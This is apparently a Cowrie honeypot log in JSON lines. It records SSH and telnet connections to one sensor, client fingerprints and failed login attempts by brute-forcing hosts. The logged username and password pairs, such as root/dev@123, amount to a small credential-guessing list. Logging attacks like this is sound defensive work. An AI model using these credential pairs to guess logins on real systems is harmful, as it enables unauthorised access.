{"eventid":"cowrie.session.connect","src_ip":"100.12.231.83","src_port":52346,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d42fa72916d","protocol":"telnet","message":"New connection: 100.12.231.83:52346 (159.203.135.109:23) [session: 5d42fa72916d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:14.318434Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":43826,"dst_ip":"159.203.135.109","dst_port":22,"session":"efb10c313745","protocol":"ssh","message":"New connection: 125.16.27.190:43826 (159.203.135.109:22) [session: efb10c313745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:14.413295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:14.417663Z","src_ip":"125.16.27.190","session":"efb10c313745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:14.770956Z","src_ip":"125.16.27.190","session":"efb10c313745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dev@123","message":"login attempt [root/dev@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:15.955428Z","src_ip":"125.16.27.190","session":"efb10c313745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:17.236113Z","src_ip":"125.16.27.190","session":"efb10c313745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"100.12.231.83","src_port":52740,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f4ccc6d09f9","protocol":"telnet","message":"New connection: 100.12.231.83:52740 (159.203.135.109:23) [session: 9f4ccc6d09f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:21.157428Z"}
{"eventid":"cowrie.session.connect","src_ip":"100.12.231.83","src_port":52816,"dst_ip":"159.203.135.109","dst_port":23,"session":"acc972ec08f6","protocol":"telnet","message":"New connection: 100.12.231.83:52816 (159.203.135.109:23) [session: acc972ec08f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:23.478868Z"}
{"eventid":"cowrie.session.connect","src_ip":"100.12.231.83","src_port":53016,"dst_ip":"159.203.135.109","dst_port":23,"session":"224bb2f0fd35","protocol":"telnet","message":"New connection: 100.12.231.83:53016 (159.203.135.109:23) [session: 224bb2f0fd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:25.393797Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":51042,"dst_ip":"159.203.135.109","dst_port":22,"session":"e38ee99dd733","protocol":"ssh","message":"New connection: 45.61.187.220:51042 (159.203.135.109:22) [session: e38ee99dd733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:27.741020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:27.744403Z","src_ip":"45.61.187.220","session":"e38ee99dd733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:27.792288Z","src_ip":"45.61.187.220","session":"e38ee99dd733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jflhi5za","password":"drHsosw0iIPRMnLcZUwC","message":"login attempt [jflhi5za/drHsosw0iIPRMnLcZUwC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:28.011234Z","src_ip":"45.61.187.220","session":"e38ee99dd733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:29.061463Z","src_ip":"45.61.187.220","session":"e38ee99dd733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"100.12.231.83","src_port":53366,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ce138cef48d","protocol":"telnet","message":"New connection: 100.12.231.83:53366 (159.203.135.109:23) [session: 4ce138cef48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:30.959512Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":57108,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e8ecbba936b","protocol":"ssh","message":"New connection: 66.113.163.125:57108 (159.203.135.109:22) [session: 4e8ecbba936b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:47.804181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:47.809461Z","src_ip":"66.113.163.125","session":"4e8ecbba936b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:47.847105Z","src_ip":"66.113.163.125","session":"4e8ecbba936b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:48.031987Z","src_ip":"66.113.163.125","session":"4e8ecbba936b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:49.072018Z","src_ip":"66.113.163.125","session":"4e8ecbba936b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":38614,"dst_ip":"10.17.0.5","dst_port":22,"session":"edf6a618b1a9","protocol":"ssh","message":"New connection: 92.191.96.70:38614 (10.17.0.5:22) [session: edf6a618b1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:53.156767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:53.161247Z","src_ip":"92.191.96.70","session":"edf6a618b1a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:53.286825Z","src_ip":"92.191.96.70","session":"edf6a618b1a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sih","message":"login attempt [root/sih] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:53.814622Z","src_ip":"92.191.96.70","session":"edf6a618b1a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:54.940861Z","src_ip":"92.191.96.70","session":"edf6a618b1a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":59054,"dst_ip":"159.203.135.109","dst_port":22,"session":"24ea67f33460","protocol":"ssh","message":"New connection: 81.192.46.49:59054 (159.203.135.109:22) [session: 24ea67f33460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:56.330293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:56.340564Z","src_ip":"81.192.46.49","session":"24ea67f33460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:56.455920Z","src_ip":"81.192.46.49","session":"24ea67f33460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:56.947959Z","src_ip":"81.192.46.49","session":"24ea67f33460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:07:58.066169Z","src_ip":"81.192.46.49","session":"24ea67f33460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":35774,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9d81c896e55","protocol":"ssh","message":"New connection: 159.195.79.219:35774 (10.17.0.5:22) [session: a9d81c896e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:08:18.969449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:08:18.980454Z","src_ip":"159.195.79.219","session":"a9d81c896e55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:08:19.081081Z","src_ip":"159.195.79.219","session":"a9d81c896e55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yc@123","message":"login attempt [root/yc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:08:19.441072Z","src_ip":"159.195.79.219","session":"a9d81c896e55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:08:20.535373Z","src_ip":"159.195.79.219","session":"a9d81c896e55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":41768,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecf69b736629","protocol":"ssh","message":"New connection: 125.16.27.190:41768 (159.203.135.109:22) [session: ecf69b736629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:08:42.706088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:08:42.709756Z","src_ip":"125.16.27.190","session":"ecf69b736629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:08:43.015389Z","src_ip":"125.16.27.190","session":"ecf69b736629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Netwatch12345","message":"login attempt [root/Netwatch12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:08:44.144319Z","src_ip":"125.16.27.190","session":"ecf69b736629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:08:45.402110Z","src_ip":"125.16.27.190","session":"ecf69b736629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":47758,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcbeca54a9e3","protocol":"ssh","message":"New connection: 66.113.163.125:47758 (159.203.135.109:22) [session: dcbeca54a9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:00.432980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:00.463327Z","src_ip":"66.113.163.125","session":"dcbeca54a9e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:00.495563Z","src_ip":"66.113.163.125","session":"dcbeca54a9e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1993","message":"login attempt [root/1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:00.677490Z","src_ip":"66.113.163.125","session":"dcbeca54a9e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:01.716711Z","src_ip":"66.113.163.125","session":"dcbeca54a9e3","protocol":"ssh"}
